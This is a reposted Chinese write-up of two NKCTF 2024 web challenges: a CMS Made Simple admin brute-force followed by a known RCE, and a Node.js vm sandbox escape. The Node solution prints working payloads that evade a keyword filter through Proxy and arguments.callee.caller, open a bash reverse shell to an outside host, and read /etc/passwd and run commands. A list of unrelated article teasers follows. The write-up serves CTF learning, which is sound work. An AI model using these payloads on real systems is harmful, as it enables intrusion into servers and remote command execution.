[NKCTF 2024]web解析

文章目录

    • my first cms
    • 全世界最简单的CTF
      • 解法一
      • 解法二


my first cms

打开题目在最下面发现是CMS Made Simple,版本为2.2.19

在这里插入图片描述

扫一下发现存在后台登陆界面,直接访问

用字典爆破下admin的密码为Admin123
在这里插入图片描述

然后直接登录,去漏洞库搜一下其实存在很多漏洞(重点看最近的)

找到CMS Made Simple的RCE漏洞(CVE-2019-9059)参考文章

步骤如下

在这里插入图片描述

登陆后按照上图,保存后去执行代码

在这里插入图片描述

成功反弹shell,得到flag

在这里插入图片描述

全世界最简单的CTF

扫目录发现存在/secret源码泄露

const express = require('express');
const bodyParser = require('body-parser');
const app = express();
const fs = require("fs");
const path = require('path');
const vm = require("vm");

app
.use(bodyParser.json())
.set('views', path.join(__dirname, 'views'))
.use(express.static(path.join(__dirname, '/public')))

app.get('/', function (req, res){
    res.sendFile(__dirname + '/public/home.html');
})


function waf(code) {
    let pattern = /(process|\[.*?\]|exec|spawn|Buffer|\\|\+|concat|eval|Function)/g;
    if(code.match(pattern)){
        throw new Error("what can I say? hacker out!!");
    }
}

app.post('/', function (req, res){
        let code = req.body.code;
        let sandbox = Object.create(null);
        let context = vm.createContext(sandbox);
        try {
            waf(code)
            let result = vm.runInContext(code, context);
            console.log(result);
        } catch (e){
            console.log(e.message);
            require('./hack');
        }
})

app.get('/secret', function (req, res){
    if(process.__filename == null) {
        let content = fs.readFileSync(__filename, "utf-8");
        return res.send(content);
    } else {
        let content = fs.readFileSync(process.__filename, "utf-8");
        return res.send(content);
    }
})


app.listen(3000, ()=>{
    console.log("listen on 3000");
})

本题是考察如何沙箱逃逸实现RCE,waf过滤很多,process被办意味着我们需要用别的手段去得到process对象,中括号被办就不能利用js特性拼接绕过,\被办意味着不能十六进制或者Unicode绕过。

解法一

参考LaoGong战队

我们注意到源码中的沙箱定义

let code = req.body.code;
let sandbox = Object.create(null);
let context = vm.createContext(sandbox);

create内为null,并且也没有其他可以引用的对象,这时候想要逃逸我们要用到一个函数中的内置对象的属性arguments.callee.caller,它可以返回函数的调用者。

而一般情况如果没有执行字符串操作或者利用函数重写,我们可以利用Proxy劫持

throw new Proxy({}, {
        get: function(){
            const cc = arguments.callee.caller;
            const p = (cc.constructor.constructor('return process'))();
            return p.mainModule.require('child_process').execSync('whoami').toString();
        }
    })

而本题过滤了很多,我们可以用replace函数来绕过对process的检测

const p = (cc.constructor.constructor('return proAcess'.replace('A','')))();
const obj=p.mainModule.require('child_process'.replace('A',''));

接下来是最为精彩的一步,利用javascript内置函数去返回一个属性描述符(PropertyDescriptor)对象,其中包括value也就是属性值

最终payload如下

throw new Proxy({}, {
        get: function(){
            const cc = arguments.callee.caller;
            const p = (cc.constructor.constructor('return procAess'.replace('A','')))();
			const obj = p.mainModule.require('child_procAess'.replace('A',''));
			const ex = Object.getOwnPropertyDescriptor(obj,'exeAcSync'.replace('A',''));
			return ex.value('bash -c "bash -i >& /dev/tcp/5i781963p2.yicp.fun/58265 0>&1"').toString();
        }
    })

成功反弹shell,执行/readflag得到flag

在这里插入图片描述

解法二

参考文章

我们注意下面代码

app.get('/secret', function (req, res){
    if(process.__filename == null) {
        let content = fs.readFileSync(__filename, "utf-8");
        return res.send(content);
    } else {
        let content = fs.readFileSync(process.__filename, "utf-8");
        return res.send(content);
    }
})

如果process.__filename为null则回显源码,我们可以利用原型链污染__filename实现任意文件读取

本解法利用反射去得到process对象

throw new Proxy({}, {
    get: function(){
        const c = arguments.callee.caller
        const p = (c.constructor.constructor("return Reflect.get(global, Reflect.ownKeys(global).find(x=>x.includes('pro')))"))()
        return p.__filename="/etc/passwd"
    }
})

然后访问 /secret 即可成功读取

尝试读/flag,返回permission denied, open ‘/flag’,没权限直接读

尝试读./hack,注意路径是/app/hack.js,提示shell.js跟进一下

console.log("shell"); const p = require('child_process'); p.execSync(process.env.command);

最终payload

throw new Proxy({}, {
    get: function(){
        const c = arguments.callee.caller;
        const p = (c.constructor.constructor("return Reflect.get(global, Reflect.ownKeys(global).find(x=>x.includes('pro')))"))();
        p.env.command="whoami";
        return p.mainModule.require("./shell");
    }
})

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/488656.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

武汉凯迪正大—开关柜模拟装置

产品简介 产品包括断路器模拟装置,控制器和控制盒,控制盒包括盒体,控制按钮和信号装置,控制按钮和信号装置设置于盒体的表面,且均与控制器连接.控制按钮和信号装置集中安装于控制盒的盒体表面上。 由于控制盒上的控制按钮和信号装置集中安装,使开关柜模拟实验控制装置体积小,…

mysql增量备份与修复

MySQL数据库增量恢复 1.一般恢复 将所有备份的二进制日志内容全部恢复 2.基于位置恢复 数据库在某一时间点可能既有错误的操作也有正确的操作 可以基于精准的位置跳过错误的操作 发生错误节点之前的一个节点,上一次正确操作的位置点停止 3.基于时间点恢复 跳过…

[自动化测试]博客系统测试用报告

目录 (一) 项目介绍 (二) 测试计划 1. 功能测试 (1)测试环境 (2)测试用例 (3)部分的功能测试 2. 自动化测试 项目介绍 项目整体基于 HTTP 协议,前端使用 HTMLCSSJS 构建页面整体布局&#x…

【Unity3D小功能】Unity3D中实现点击‘文字’出现‘UI面板’

推荐阅读 CSDN主页GitHub开源地址Unity3D插件分享简书地址QQ群:398291828 大家好,我是佛系工程师☆恬静的小魔龙☆,不定时更新Unity开发技巧,觉得有用记得一键三连哦。 一、前言 宠粉博主又来了,今天有粉丝问我如何实…

如何在VS Code上搭建 C/C++开发环境

顾得泉:个人主页 个人专栏:《Linux操作系统》 《C从入门到精通》 《LeedCode刷题》 键盘敲烂,年薪百万! 一、什么是VScode VScode(Visual Studio Code)是一款由微软开发的免费开源的轻量级代码编辑器。它…

AI垃圾装满溢出识别摄像机

AI垃圾装满溢出识别摄像机是一种基于人工智能技术的创新设备,旨在实时监测公共场所垃圾箱的装填情况,及时警示相关部门进行清理或更换,提高城市管理效率,改善城市环境质量。这种AI垃圾装满溢出识别摄像机通过搭载先进的图像识别和…

大唐杯国赛解读及赛前准备分析

从参赛类别的区分到大唐杯名称由原来的“第九届‘大唐杯’全国大学生移动通信5G技术大赛”变更为“第九届‘大唐杯’全国大学生新一代信息通信技术大赛”一系列的变化。 接下来重点讲解本科A组的情况分析: 需要注意的是,和去年的比赛不同,今年并不是两人互相讨论,而是和省…

如何使用 JavaScript 导入和导出 Excel

前言 在现代的Web应用开发中,与Excel文件的导入和导出成为了一项常见而重要的任务。无论是数据交换、报告生成还是数据分析,与Excel文件的交互都扮演着至关重要的角色。本文小编将为大家介绍如何在熟悉的电子表格 UI 中轻松导入 Excel 文件,…

zabbix进阶

知识点补充 zabbix server在主机上运行服务,端口号为10050,zabbix agent 在被监控机器上运行(源码下载)主要完成对cpu,磁盘的信息采集,端口号为10051 zabbix 软件结构组成: 1.Zabbix Web GUI …

【Java程序设计】【C00369】基于(JavaWeb)Springboot的笔记记录分享平台(有论文)

[TOC]() 博主介绍:java高级开发,从事互联网行业六年,已经做了六年的毕业设计程序开发,开发过上千套毕业设计程序,博客中有上百套程序可供参考,欢迎共同交流学习。 项目简介 项目获取 🍅文末点击…

常用类四(Math类)

目录 Math 类的常用方法: Random 类的常用方法: java.lang.Math 提供了一系列静态方法用于科学计算;其方法的参数和返回值类型一般 为 double 型。如果需要更加强大的数学运算能力,计算高等数学中的相关内容,可以使用…

【Java程序设计】【C00343】基于Springboot的船运物流管理系统(有论文)

基于Springboot的船运物流管理系统(有论文) 项目简介项目获取开发环境项目技术运行截图 项目简介 项目获取 🍅文末点击卡片获取源码🍅 开发环境 运行环境:推荐jdk1.8; 开发工具:eclipse以及i…

libVLC 视频缩放

libvlc是一个常用的开源多媒体框架,它可以用来播放和处理各种类型的音频和视频文件。如果想要缩放视频,可以通过libvlc提供的API来实现。 //设置视频的缩放比例。 libvlc_video_set_scale() 以下是如何使用 libVLC 设置视频缩放的基本步骤:…

根据IP地址获取归属地

IP获取归属地,通过地址库获取 如果使用API接口获取,可能会出现服务挂了,或者服务地址不提供服务了等问题。而采用本地地址库就没有这些问题。 本文采用离线IP地址定位库 Ip2region,Ip2region是一个离线IP地址定位库,微…

ElasticSearch之数据建模

写在前面 本文看下es数据建模相关的内容。 1:什么是数据建模 数据建模是对真实数据的一种抽象,最终映射为计算机形式的表现。其包括如下三个阶段: 1:概念模型 2:逻辑模型 3:数据模型2:es数据…

案例分享:F5助力车企打造智能高效自动化应用

纵观当下的汽车市场,智能汽车百花齐放。自动驾驶、车载娱乐、实时3D地图等实现人机互动的出行场景,解锁着全新的出行方式。然而得到独特而先进的智能用车体验,离不开持续而深入的汽车应用变革。那么怎样打造智能高效的自动化应用呢&#xff1…

JavaWeb后端——HTTP协议/Tomcat

HTTP HTTP协议:无状态,对事务处理没有记忆能力。每次请求-响应都是独立的。后一次请求不会记录前一次请求数据。缺点:多次请求之间不能共享数据,优点:速度快。 HTTP协议请求报文: HTTP协议响应报文&#x…

(MATLAB)第二十一章 Simulink仿真设计初步

Simulink是MATLAB的重要组成部分,可以非常容易地实现可视化建模,并把理论研究和工程实践有机地结合在一起,不需要书写大量程序,只需要使用鼠标和键盘对已有模块进行简单的操作和设置。 21.1 Simulink简介 Simulink是MATLAB软件的…

一、Java开发环境搭建-----系统类的简单使用

JavadocAPI文档练习: 1、Date类的使用——代码实战 Date类为日期类,是Java中和日期相关的一个类,如下将日期做一个简单的介绍。 package com.kangning.web.controller.common;import java.util.Date;public class DateDemo1 {public static…

SAP/ERP系统PP模块常用增强之二:报表COOIS增加字段

SAP/PP模块中的COOIS报表(订单信息系统)是最常用的标准报表之一,它可以查询有关生产订单的完整信息,但实际项目实施中也会经常遇到这个报表增强需求,一般要求增加一些产品相关的一些额外信息。 SAP系统为此类需求预留第三代BADI增强出口,可以非常方便的实现在COOIS报表中…
最新文章